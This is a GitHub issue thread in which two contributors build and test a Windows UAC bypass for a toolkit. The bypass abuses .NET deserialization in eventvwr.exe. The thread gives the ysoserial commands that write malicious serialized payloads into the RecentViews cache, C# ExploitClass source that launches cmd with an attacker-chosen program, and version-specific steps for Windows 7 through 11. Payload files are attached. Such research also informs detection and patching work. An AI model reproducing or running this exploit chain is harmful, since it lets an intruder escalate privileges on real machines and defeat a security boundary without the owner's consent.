Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add new UAC bypass through .Net Deserialization vulnerability in eventvwr.exe #127

Closed
antonioCoco opened this issue Apr 26, 2022 · 14 comments

Comments

@antonioCoco
Copy link

Based on the discovery by @orange_8361 the eventvwr.exe is vulnerable to a .net deserialization allowing to run a process in the eventvwr.exe context so in High IL.
More details here --> https://twitter.com/orange_8361/status/1518970259868626944

Step to reproduce, from a medium IL admin:

ysoserial.exe -o raw -f BinaryFormatter -g DataSet -c cmd.exe > %LOCALAPPDATA%\Microsoft\EventV~1\RecentViews
eventvwr.exe

A high IL cmd shell will pop.

ysoserial.exe is took from this repo --> https://github.com/pwntester/ysoserial.net

However I think the generated serialized object by ysoserial.exe can be built only one time with a more generic command, let's say cmd /c C:\tmp\temp.bat, and then can be embedded and dropped at will.

@hfiref0x
Copy link
Owner

Hello,

thanks for sharing. I'll test this and let you know the results.

@hfiref0x
Copy link
Owner

It seems it works.

Currently I've generated template using ysoserial which is running batch file by invoking it through specially set environment variable, e.g %mydir%\run.cmd.

I'll include it in the next uacme version when it will be ready. Also it still neeed to figure out does this method work on Windows 7/8.1 or it is only for Win10/11.

hfiref0x added a commit that referenced this issue Apr 27, 2022
Method 73 added (see #127 for more info)
Readme updated
@antonioCoco
Copy link
Author

antonioCoco commented Apr 27, 2022

Cool 😎

I made some further testing, below the results:

Windows 11: Works
Windows 10 1909: Works
Win 7 Pro Sp1 Build 7601 x64: Works (with some twists)

Don't have a Win 8.1 ready right now, so cannot test there.

For Windows 7 we need to generate the payload from ysoserial compiled with the .net 2 framework. It can be found in the branch v2 of the repo --> https://github.com/pwntester/ysoserial.net/tree/v2

And then also the gadget should be changed with the "ActivitySurrogateSelector" gadget, e.g. with the following commandline:

ysoserial_frmv2.exe -o raw -f BinaryFormatter -g ActivitySurrogateSelector -c "not_needed" > %LOCALAPPDATA%\Microsoft\EventV~1\RecentViews

Unfortunately, this gadget does not accept the -c parameter for an arbitrary process execution. However by changing this line of code: https://github.com/pwntester/ysoserial.net/blob/v2/ysoserial/ExploitClass.cs#L15 with the following code we can achieve the same result:

System.Diagnostics.Process.Start("cmd.exe");

I have already done all the boring part of compiling the ysoserial .net 2 version, so if you send me the exact environment variable and command to use i can generate the payload and attach it here. Hopefully should speed up things :)

@hfiref0x
Copy link
Owner

Nice.

It is working on Win8.1 fine. I guess it's because eventviewer stuff here starts using dotnet above v2 and does this up to win11.

The exact command used to generate "recentviews"
ysoserial -o raw -f BinaryFormatter -g DataSet -c %pe386% > r.bin

where %pe386% is an environment variable containing file to execute, e.g. c:\windows\system32\cmd.exe

the resulting RecentViews cache file part looks like this:

<sd:ProcessStartInfo Arguments="/c %pe386%" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd" />

It would be great if you can generate payload for dotnet v2 with this var and attach resulting file here so I will embed it into uacme.

@antonioCoco
Copy link
Author

antonioCoco commented Apr 28, 2022

Sure, please find attached.

This has been compiled with the following payload code:

System.Diagnostics.Process.Start("cmd", "/c " + Environment.GetEnvironmentVariable("pe386"));

This emulates the exact behavior like the one described in the cache file you extracted.

I tested on my win7 box by adding a regkey in HKCU\Environment\pe386 and works smoothly.

RecentViews.zip

@hfiref0x
Copy link
Owner

hfiref0x commented Apr 29, 2022

Well there is a problem. Generated file has embedded 3rd party compiled PE binary. I assume this is ysoserial_frmv2.exe itself. Is there any chance to get rid of this or this is required for v2 dotnet? I don't really want to include any kind of compiled executable binaries as blobs, especially when they are 3rd party.

@antonioCoco
Copy link
Author

antonioCoco commented Apr 29, 2022

Yes, a .NET assembly is needed for the chain of this gadget to work.
From the comment of "ActivitySurrogateSelectorGenerator.cs" i see:

// Build a chain to map a byte array to creating an instance of a class.
// byte[] -> Assembly.Load -> Assembly -> Assembly.GetType -> Type[] -> Activator.CreateInstance -> Win!

So we can't change the chain behavior. Or at least i don't know how to create a better chain that doesn't use Assembly.Load().

One improvement i could do is to compile the "ExploitClass.cs" as a separate assembly instead of embedding the whole ysoserial_frmv2.exe assembly. This should reduce the size, but still an embedded assembly will be needed.

@hfiref0x
Copy link
Owner

From what I see in source ExploitClass.cs is an empty placeholder file. So basically since this generator loads assembly can we create standalone assembly outside of yososerial and give it as source (parameter?) of what it embed instead? Simple launcher program in dotnet will be smaller size and we will be able to include it source.

@antonioCoco
Copy link
Author

We can do one smarter thing to drastically decrease the size.

We can embed the "ExploitClass.cs" source code and compile on the fly the assembly with CodeDomProvider.CompileAssemblyFromSource().

Do you like the idea? If yes, i can make some tests and try if it works out.

@antonioCoco
Copy link
Author

Actually ignore my last idea, it's not viable. We must embed the assembly bytes in the serialized object...

I'm gonna try doing it with a smaller assembly, so compiling ExploitClass.cs as a standalone assembly. Let's see if the size is acceptable.

@antonioCoco
Copy link
Author

Ok, we gained some space, this "RecentViews" cache file is 8kb, compared to the previous one of 64kb.

Don't think we can do any better. Please find attached.

RecentViews.zip

@hfiref0x
Copy link
Owner

Can you provide it source please, so I can link it in readme or whatever if someone wants to modify it later.

@antonioCoco
Copy link
Author

antonioCoco commented Apr 29, 2022

Sure.

// ExploitClass.cs
using System;

class ExploitClass
{
    public ExploitClass()
    {
        System.Diagnostics.Process.Start("cmd", "/c " + Environment.GetEnvironmentVariable("pe386"));
    }
}

ysoserial command to generate the cache file:

ysoserial_frmv2.exe -o raw -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c .\ExploitClass.cs;System.dll > RecentViews

ysoserial_frmv2 repo url --> https://github.com/pwntester/ysoserial.net/tree/v2

hfiref0x added a commit that referenced this issue Apr 29, 2022
Method 73 added, see #127  for more info;
Readme updated.
@hfiref0x
Copy link
Owner

I've added it into master as method 73.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants